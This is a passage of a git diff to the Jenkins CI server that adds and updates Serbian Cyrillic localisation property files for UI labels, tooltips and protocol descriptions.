\u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0438\u0442\u0438 \u043A\u0430\u043E \u0434\u043E\u0434\u0430\u0442\u043D\u0435 \u0430\u0433\u0435\u043D\u0442\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties new file mode 100644 index 0000000000..a073aa440e --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Extends\ the\ version\ 1\ protocol\ by\ adding\ a\ per-client\ cookie,\ so\ that\ we\ can\ detect\ a\ reconnection\ from\ the\ agent\ and\ take\ appropriate\ action=\u041D\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 1 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B\u0430 \u0434\u043E\u0434\u0430\u0432\u0430\u045B\u0438 cookie \u0441\u0432\u0430\u043A\u043E\u043C \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0443, \u0448\u0442\u043E \u043E\u043C\u043E\u0433\u0443\u0458\u0443\u045B\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u0432\u0435\u0437\u0438\u0432\u0430\u045A\u0435 \u0441\u0430 \u0430\u0433\u0435\u043D\u0442\u043E\u043C. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties new file mode 100644 index 0000000000..f15cfe2319 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Extends\ the\ version\ 2\ protocol\ by\ adding\ basic\ encryption\ but\ requires\ a\ thread\ per\ client=\u041D\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 2 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B\u0430 \u0434\u043E\u0434\u0430\u0432\u0430\u0458\u0443\u045B\u0438 \u0448\u0438\u0444\u0440\u043E\u0432\u0430\u045A\u0435 (\u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435\u0434\u0430\u043D \u043D\u0438\u0437 \u0437\u0430 \u0441\u0432\u0430\u043A\u043E\u0433 \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0430) diff --git a/core/src/main/resources/jenkins/slaves/systemInfo/Messages_sr.properties b/core/src/main/resources/jenkins/slaves/systemInfo/Messages_sr.properties new file mode 100644 index 0000000000..e6738c3bfc --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/systemInfo/Messages_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +SystemPropertySlaveInfo.DisplayName=\u0421\u0438\u0441\u0442\u0435\u043C\u0441\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 +EnvVarsSlaveInfo.DisplayName=\u041F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0435 \u043E\u043A\u043E\u043B\u0438\u043D\u0435 +ThreadDumpSlaveInfo.DisplayName=\u0414\u0435\u043F\u043E\u043D\u0438\u0458a \u043D\u0438\u0442\u043E\u0432\u0430 +ClassLoaderStatisticsSlaveInfo.DisplayName=\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435 \u0443\u0447\u0438\u0442\u0430\u045A\u0435 \u043A\u043B\u0430\u0441\u043E\u0432\u0430 \u0441\u0430 \u0434\u0430\u043B\u0435\u043A\u0430 diff --git a/core/src/main/resources/jenkins/tools/GlobalToolConfiguration/index_sr.properties b/core/src/main/resources/jenkins/tools/GlobalToolConfiguration/index_sr.properties new file mode 100644 index 0000000000..0d6d81f5bc --- /dev/null +++ b/core/src/main/resources/jenkins/tools/GlobalToolConfiguration/index_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/triggers/Messages_sr.properties b/core/src/main/resources/jenkins/triggers/Messages_sr.properties new file mode 100644 index 0000000000..6a6c113a30 --- /dev/null +++ b/core/src/main/resources/jenkins/triggers/Messages_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +ReverseBuildTrigger.build_after_other_projects_are_built=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 +SCMTriggerItem.PollingVetoed=\u0417\u0430\u0445\u0442\u0435\u0432\u0438 \u043F\u0440\u0435\u043C\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0430 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 \u0441\u0443 \u043F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u043E \u0441\u0443\u0441\u043F\u0435\u043D\u0434\u043E\u0432\u0430\u043D\u0438 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 {0}. +ReverseBuildTrigger.running_as_cannot_even_see_for_trigger_f=\u0418\u0437\u0431\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u043A\u0430\u043E {0} \u043D\u0435\u043C\u043E\u0436\u0435 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0438 \u043D\u0438 {1} \u0437\u0430 \u0438\u0437\u0430\u0437\u0438\u0432\u0430\u045A\u0435 \u043E\u0434 {2} \ No newline at end of file diff --git a/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_sr.properties b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_sr.properties new file mode 100644 index 0000000000..37827874c8 --- /dev/null +++ b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Trigger\ only\ if\ build\ is\ stable=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0441\u0430\u043C\u043E \u0430\u043A\u043E \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 +Trigger\ even\ if\ the\ build\ is\ unstable=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0438 \u0430\u043A\u043E \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 +Trigger\ even\ if\ the\ build\ fails=\u041F\u043E\u043A\u0440\u0435\u043D\u0438 \u0438 \u0430\u043A\u043E \u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430 +Projects\ to\ watch=\u041F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0435 \u043F\u0440\u0430\u0442\u0438\u0442\u0435 diff --git a/core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items_sr.properties b/core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items_sr.properties new file mode 100644 index 0000000000..fc95a97d12 --- /dev/null +++ b/core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Expected\ build\ number=\u041E\u0447\u0435\u043A\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +pending=\u0447\u0435\u043A\u0430\u045A\u0435 +cancel\ this\ build=\u043E\u0442\u043A\u0430\u0436\u0438 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 diff --git a/core/src/main/resources/lib/form/advanced_sr.properties b/core/src/main/resources/lib/form/advanced_sr.properties index a16b944ce5..a30766522d 100644 --- a/core/src/main/resources/lib/form/advanced_sr.properties +++ b/core/src/main/resources/lib/form/advanced_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -Advanced=Napredno +Advanced=\u041D\u0430\u043F\u0440\u0435\u0434\u043D\u043E +customizedFields=\u0408\u0435\u0434\u043D\u043E \u0438\u043B\u0438 \u0432\u0438\u0448\u0435 \u043F\u043E\u0459\u0430 \u0443 \u043E\u0432\u043E\u0458 \u0458\u0435\u0434\u0438\u043D\u0438\u0446\u0438 \u0441\u0443 \u043F\u0440\u043E\u043C\u0435\u045A\u0435\u043D\u0430 diff --git a/core/src/main/resources/lib/form/apply_sr.properties b/core/src/main/resources/lib/form/apply_sr.properties new file mode 100644 index 0000000000..c5e16ef3c9 --- /dev/null +++ b/core/src/main/resources/lib/form/apply_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438 diff --git a/core/src/main/resources/lib/form/booleanRadio_sr.properties b/core/src/main/resources/lib/form/booleanRadio_sr.properties new file mode 100644 index 0000000000..a5a8a51739 --- /dev/null +++ b/core/src/main/resources/lib/form/booleanRadio_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Yes=\u0414\u0430 +No=\u041D\u0435 diff --git a/core/src/main/resources/lib/form/breadcrumb-config-outline_sr.properties b/core/src/main/resources/lib/form/breadcrumb-config-outline_sr.properties index bb8447c4cb..4e198232c7 100644 --- a/core/src/main/resources/lib/form/breadcrumb-config-outline_sr.properties +++ b/core/src/main/resources/lib/form/breadcrumb-config-outline_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -configuration=konfiguracija +configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 diff --git a/core/src/main/resources/lib/form/expandableTextbox_sr.properties b/core/src/main/resources/lib/form/expandableTextbox_sr.properties new file mode 100644 index 0000000000..6fd13550bc --- /dev/null +++ b/core/src/main/resources/lib/form/expandableTextbox_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +tooltip=\ + \u041A\u043B\u0438\u043A\u043D\u0438\u0442\u0435 \u0434\u0430 \u0440\u0430\u0448\u0438\u0440\u0438\u0442\u0435 \u043D\u0435\u043A\u043E\u043B\u0438\u043A\u043E \u0440\u0435\u0434\u043E\u0432\u0430
                    \u0433\u0434\u0435 \u043C\u043E\u0436\u0435\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u043D\u043E\u0432\u0435 \u0440\u0435\u0434\u043E\u0432\u0435 \u0443\u043C\u0435\u0441\u0442\u043E \u043F\u0440\u0430\u0437\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430.
                    \ + \u0414\u0430 \u0432\u0440\u0430\u0442\u0438\u0442\u0435 \u043D\u0430\u0437\u0430\u0434 \u043D\u0430 \u0458\u0435\u0434\u0430\u043D \u0440\u0435\u0434, \u043D\u0430\u043F\u0438\u0448\u0438\u0442\u0435 \u0441\u0432\u0435 \u0443 \u0458\u0435\u0434\u043D\u043E\u043C \u0440\u0435\u0434\u0443 \u0438 \u0441\u0430\u0447\u0443\u0432\u0430\u0458\u0442\u0435. diff --git a/core/src/main/resources/lib/form/helpArea_sr.properties b/core/src/main/resources/lib/form/helpArea_sr.properties index f54a6caaa9..14d2e9f9bb 100644 --- a/core/src/main/resources/lib/form/helpArea_sr.properties +++ b/core/src/main/resources/lib/form/helpArea_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Loading...=Ucitavanje... +Loading...=\u0423\u0447\u0438\u0442\u0430\u0432\u0430\u045A\u0435... diff --git a/core/src/main/resources/lib/form/helpLink_sr.properties b/core/src/main/resources/lib/form/helpLink_sr.properties new file mode 100644 index 0000000000..b0c8861c7d --- /dev/null +++ b/core/src/main/resources/lib/form/helpLink_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Help\ for\ feature\:=\u041F\u043E\u043C\u043E\u045B \u043E\u043A\u043E \u043E\u0434\u043B\u0438\u043A\u0435: diff --git a/core/src/main/resources/lib/form/hetero-list_sr.properties b/core/src/main/resources/lib/form/hetero-list_sr.properties new file mode 100644 index 0000000000..2ab9ef08a9 --- /dev/null +++ b/core/src/main/resources/lib/form/hetero-list_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Add=\u0414\u043E\u0434\u0430\u0458 diff --git a/core/src/main/resources/lib/form/repeatableDeleteButton_sr.properties b/core/src/main/resources/lib/form/repeatableDeleteButton_sr.properties new file mode 100644 index 0000000000..0038ea61ba --- /dev/null +++ b/core/src/main/resources/lib/form/repeatableDeleteButton_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Delete=\u0423\u043A\u043B\u043E\u043D\u0438 diff --git a/core/src/main/resources/lib/form/repeatable_sr.properties b/core/src/main/resources/lib/form/repeatable_sr.properties new file mode 100644 index 0000000000..2ab9ef08a9 --- /dev/null +++ b/core/src/main/resources/lib/form/repeatable_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Add=\u0414\u043E\u0434\u0430\u0458 diff --git a/core/src/main/resources/lib/form/serverTcpPort_sr.properties b/core/src/main/resources/lib/form/serverTcpPort_sr.properties new file mode 100644 index 0000000000..132f0a20ab --- /dev/null +++ b/core/src/main/resources/lib/form/serverTcpPort_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Fixed=\u0421\u0442\u0430\u0442\u0438\u0447\u043A\u0438 +Random=\u0421\u043B\u0443\u0447\u0430\u0458\u043Do +Disable=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438 \ No newline at end of file diff --git a/core/src/main/resources/lib/form/slave-mode_sr.properties b/core/src/main/resources/lib/form/slave-mode_sr.properties new file mode 100644 index 0000000000..4ed411d306 --- /dev/null +++ b/core/src/main/resources/lib/form/slave-mode_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Usage=\u0423\u043F\u043E\u0442\u0440\u0435\u0431\u0430 diff --git a/core/src/main/resources/lib/form/textarea_sr.properties b/core/src/main/resources/lib/form/textarea_sr.properties index ac88bf0154..632e509570 100644 --- a/core/src/main/resources/lib/form/textarea_sr.properties +++ b/core/src/main/resources/lib/form/textarea_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -Hide\ preview=Ukloni prikaz -Preview=Prikazi +Preview=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 +Hide\ preview=\u0421\u043A\u043B\u043E\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/lib/hudson/artifactList_sr.properties b/core/src/main/resources/lib/hudson/artifactList_sr.properties new file mode 100644 index 0000000000..2d329d4e88 --- /dev/null +++ b/core/src/main/resources/lib/hudson/artifactList_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +view=\u043F\u0440\u0435\u0433\u043B\u0435\u0434 +Expand\ all=\u0420\u0430\u0448\u0438\u0440\u0438 \u0441\u0432\u0435 +Collapse\ all=\u0421\u043C\u0430\u045A\u0438 \u0441\u0432\u0435 +View=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/lib/hudson/buildCaption_sr.properties b/core/src/main/resources/lib/hudson/buildCaption_sr.properties index 566efd02da..a702f8f59f 100644 --- a/core/src/main/resources/lib/hudson/buildCaption_sr.properties +++ b/core/src/main/resources/lib/hudson/buildCaption_sr.properties @@ -1,4 +1,5 @@ # This file is under the MIT License by authors -Progress=Progres -cancel=Prekini +Progress=\u041F\u0440\u043E\u0433\u0440\u0435\u0441 +cancel=\u041E\u0442\u043A\u0430\u0436\u0438 +confirm=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043E\u0434\u043A\u0430\u0436\u0435\u0442\u0435 {0}? diff --git a/core/src/main/resources/lib/hudson/buildHealth_sr.properties b/core/src/main/resources/lib/hudson/buildHealth_sr.properties index 49ee343c9b..c55807b8b0 100644 --- a/core/src/main/resources/lib/hudson/buildHealth_sr.properties +++ b/core/src/main/resources/lib/hudson/buildHealth_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Description=Opis +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/lib/hudson/buildListTable_sr.properties b/core/src/main/resources/lib/hudson/buildListTable_sr.properties new file mode 100644 index 0000000000..afee06dcd5 --- /dev/null +++ b/core/src/main/resources/lib/hudson/buildListTable_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Click\ to\ center\ timeline\ on\ event=\u041A\u043B\u0438\u043A\u043D\u0438\u0442\u0435 \u0434\u0430 \u0446\u0435\u043D\u0442\u0440\u0438\u0440\u0430\u0442\u0435 \u0432\u0440\u0435\u043C\u0435\u043D\u0441\u043A\u0443 \u0442\u0440\u0430\u043A\u0443 \u043D\u0430 \u043E\u0434\u0440\u0435\u0452\u0435\u043D\u0438 \u0434\u043E\u0433\u0430\u0452\u0430\u0458. +Console\ output=\u0418\u0441\u0445\u043E\u0434 \u0438\u0437 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 +Build=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Time\ Since=\u0412\u0440\u0435\u043C\u0435 \u043E\u0434 +Status=\u0421\u0442\u0430\u045A\u0435 diff --git a/core/src/main/resources/lib/hudson/buildProgressBar_sr.properties b/core/src/main/resources/lib/hudson/buildProgressBar_sr.properties index cd6aa2f3b6..77cb22b833 100644 --- a/core/src/main/resources/lib/hudson/buildProgressBar_sr.properties +++ b/core/src/main/resources/lib/hudson/buildProgressBar_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -text=Zapo\u010Deto od {0}
                    O\u010Dekivano preostalo vreme: {1} +text=\u0417\u0430\u043F\u043E\u0447\u0435\u0442\u043E \u043F\u0440\u0435 {0}
                    \u041E\u0447\u0435\u043A\u0438\u0432\u0430\u043D\u043E \u043F\u0440\u0435\u043E\u0441\u0442\u0430\u043B\u043E \u0432\u0440\u0435\u043C\u0435: {1} \ No newline at end of file diff --git a/core/src/main/resources/lib/hudson/editableDescription_sr.properties b/core/src/main/resources/lib/hudson/editableDescription_sr.properties index 35b19cb549..75a9a5080e 100644 --- a/core/src/main/resources/lib/hudson/editableDescription_sr.properties +++ b/core/src/main/resources/lib/hudson/editableDescription_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -add\ description=dodaj opis +add\ description=\u0434\u043E\u0434\u0430\u0458 \u043E\u043F\u0438\u0441 +edit\ description=\u0443\u0440\u0435\u0434\u0438 \u043E\u043F\u0438\u0441 diff --git a/core/src/main/resources/lib/hudson/executors_sr.properties b/core/src/main/resources/lib/hudson/executors_sr.properties index 86e9d7b4e5..c59e49e581 100644 --- a/core/src/main/resources/lib/hudson/executors_sr.properties +++ b/core/src/main/resources/lib/hudson/executors_sr.properties @@ -20,8 +20,18 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Build\ Executor\ Status=Status Izvr\u0161itelja Gradnje -Building=Izgradnja -Idle=mirovanje +Build\ Executor\ Status=\u0421\u0442\u0430\u045A\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Building=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Idle=\u0421\u043B\u043E\u0432\u043E\u0434\u043D\u043E Status=\u0421\u0442\u0430\u045A\u0435 -terminate\ this\ build=okon\u010Daj ovu gradnju +terminate\ this\ build=\u041E\u043A\u043E\u043D\u0447\u0430\u0458 \u043E\u0432\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +offline=\u0412\u0430\u043D \u043C\u0440\u0435\u0436\u0435 +suspended=\u0441\u0443\u0441\u043F\u0435\u043D\u0434\u043E\u0432\u0430\u043D +Offline=\u0412\u0430\u043D \u043C\u0440\u0435\u0436\u0435 +Pending=\u0427\u0435\u043A\u0430\u045A\u0435 +Unknown\ Task=\u041D\u0435\u043F\u043E\u0437\u043D\u0430\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +confirm=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043E\u0442\u043A\u0430\u0436\u0435\u0442\u0435 {0}? +Computers=\ + \u043E\u0441\u043D\u043E\u0432\u043D\u043E{0,choice,0#|1# + {0,number} \u0440\u0430\u0447\u0443\u043D\u0430\u0440 ({1} \u043E\u0434 {2} \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430)|1< + {0,number} \u0440\u0430\u0447\u0443\u043D\u0430\u0440\u0430 ({1} \u043E\u0434 {2} \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430)} +Master= +Dead=\u041C\u0440\u0442\u0432\u043E diff --git a/core/src/main/resources/lib/hudson/iconSize_sr.properties b/core/src/main/resources/lib/hudson/iconSize_sr.properties index 908c440494..45ad05ff2e 100644 --- a/core/src/main/resources/lib/hudson/iconSize_sr.properties +++ b/core/src/main/resources/lib/hudson/iconSize_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Icon=ikonica +Icon=\u0418\u043A\u043E\u043D\u0438\u0446\u0430 diff --git a/core/src/main/resources/lib/hudson/listScmBrowsers_sr.properties b/core/src/main/resources/lib/hudson/listScmBrowsers_sr.properties new file mode 100644 index 0000000000..1ab483f634 --- /dev/null +++ b/core/src/main/resources/lib/hudson/listScmBrowsers_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Repository\ browser=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0447 \u0441\u043F\u0440\u0435\u043C\u0438\u0448\u0442\u0430 +Auto=\u0410\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 diff --git a/core/src/main/resources/lib/hudson/newFromList/form_sr.properties b/core/src/main/resources/lib/hudson/newFromList/form_sr.properties new file mode 100644 index 0000000000..6190adbdbb --- /dev/null +++ b/core/src/main/resources/lib/hudson/newFromList/form_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Copy\ from=\u0418\u0437\u043A\u043E\u043F\u0438\u0440\u0430\u0458 \u043E\u0434 diff --git a/core/src/main/resources/lib/hudson/node_sr.properties b/core/src/main/resources/lib/hudson/node_sr.properties new file mode 100644 index 0000000000..e2aa681592 --- /dev/null +++ b/core/src/main/resources/lib/hudson/node_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +master=\u043C\u0430\u0441\u0442\u0435\u0440 diff --git a/core/src/main/resources/lib/hudson/project/build-permalink_sr.properties b/core/src/main/resources/lib/hudson/project/build-permalink_sr.properties new file mode 100644 index 0000000000..05a61a106e --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/build-permalink_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +format={0} (#{1}), \u043F\u0440\u0435 {2} diff --git a/core/src/main/resources/lib/hudson/project/config-assignedLabel_sr.properties b/core/src/main/resources/lib/hudson/project/config-assignedLabel_sr.properties new file mode 100644 index 0000000000..5325e0a53a --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-assignedLabel_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Restrict\ where\ this\ project\ can\ be\ run=\u041E\u0433\u0440\u0430\u043D\u0438\u0447\u0438 \u0433\u0434\u0435 \u0441\u0435 \u043C\u043E\u0436\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u043A\u0430\u0442 +Label\ Expression=\u0418\u0437\u0440\u0430\u0437 \u043D\u0430 \u043B\u0430\u0431\u0435\u043B\u0438 +Tie\ this\ project\ to\ a\ node=\u041F\u043E\u0432\u0435\u0436\u0438 \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0441\u0430 \u043C\u0430\u0448\u0438\u043D\u043E\u043C diff --git a/core/src/main/resources/lib/hudson/project/config-blockWhenDownstreamBuilding_sr.properties b/core/src/main/resources/lib/hudson/project/config-blockWhenDownstreamBuilding_sr.properties new file mode 100644 index 0000000000..467994cca7 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-blockWhenDownstreamBuilding_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Block\ build\ when\ downstream\ project\ is\ building=\u0417\u0430\u0431\u043B\u043E\u043A\u0438\u0440\u0430\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0434\u043E\u043A \u0441\u0435 \u0433\u0440\u0430\u0434\u0438 \u0437\u0430\u0432\u0438\u0441\u043D\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 diff --git a/core/src/main/resources/lib/hudson/project/config-blockWhenUpstreamBuilding_sr.properties b/core/src/main/resources/lib/hudson/project/config-blockWhenUpstreamBuilding_sr.properties new file mode 100644 index 0000000000..07c76a702c --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-blockWhenUpstreamBuilding_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Block\ build\ when\ upstream\ project\ is\ building=\u0417\u0430\u0431\u043B\u043E\u043A\u0438\u0440\u0430\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0434\u043E\u043A \u0441\u0435 \u0433\u0440\u0430\u0434\u0438 upstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 diff --git a/core/src/main/resources/lib/hudson/project/config-buildWrappers_sr.properties b/core/src/main/resources/lib/hudson/project/config-buildWrappers_sr.properties new file mode 100644 index 0000000000..4a8151f6f4 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-buildWrappers_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Build\ Environment=\u041E\u043A\u043E\u043B\u0438\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/lib/hudson/project/config-builders_sr.properties b/core/src/main/resources/lib/hudson/project/config-builders_sr.properties new file mode 100644 index 0000000000..1d0c2302bc --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-builders_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Build=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Add\ build\ step=\u0414\u043E\u0434\u0430\u0458 \u043A\u043E\u0440\u0430\u043A \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438 diff --git a/core/src/main/resources/lib/hudson/project/config-concurrentBuild_sr.properties b/core/src/main/resources/lib/hudson/project/config-concurrentBuild_sr.properties new file mode 100644 index 0000000000..7a677c66de --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-concurrentBuild_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +title.concurrentbuilds=\u0418\u0437\u0432\u0440\u045A\u0438 \u043F\u0430\u0440\u0430\u043B\u0435\u043B\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0430\u043A\u043E \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E diff --git a/core/src/main/resources/lib/hudson/project/config-customWorkspace_sr.properties b/core/src/main/resources/lib/hudson/project/config-customWorkspace_sr.properties new file mode 100644 index 0000000000..f5857ad05b --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-customWorkspace_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Use\ custom\ workspace=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u043F\u043E\u0440\u0443\u0447\u0435\u043D\u0438 \u0440\u0430\u0434\u043D\u0438 \u043F\u0440\u043E\u0441\u0442\u043E\u0440 +Directory=\u0414\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C diff --git a/core/src/main/resources/lib/hudson/project/config-disableBuild_sr.properties b/core/src/main/resources/lib/hudson/project/config-disableBuild_sr.properties new file mode 100644 index 0000000000..a1eb33cb22 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-disableBuild_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Disable\ this\ project=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438 \u043E\u0432\u0430\u0458 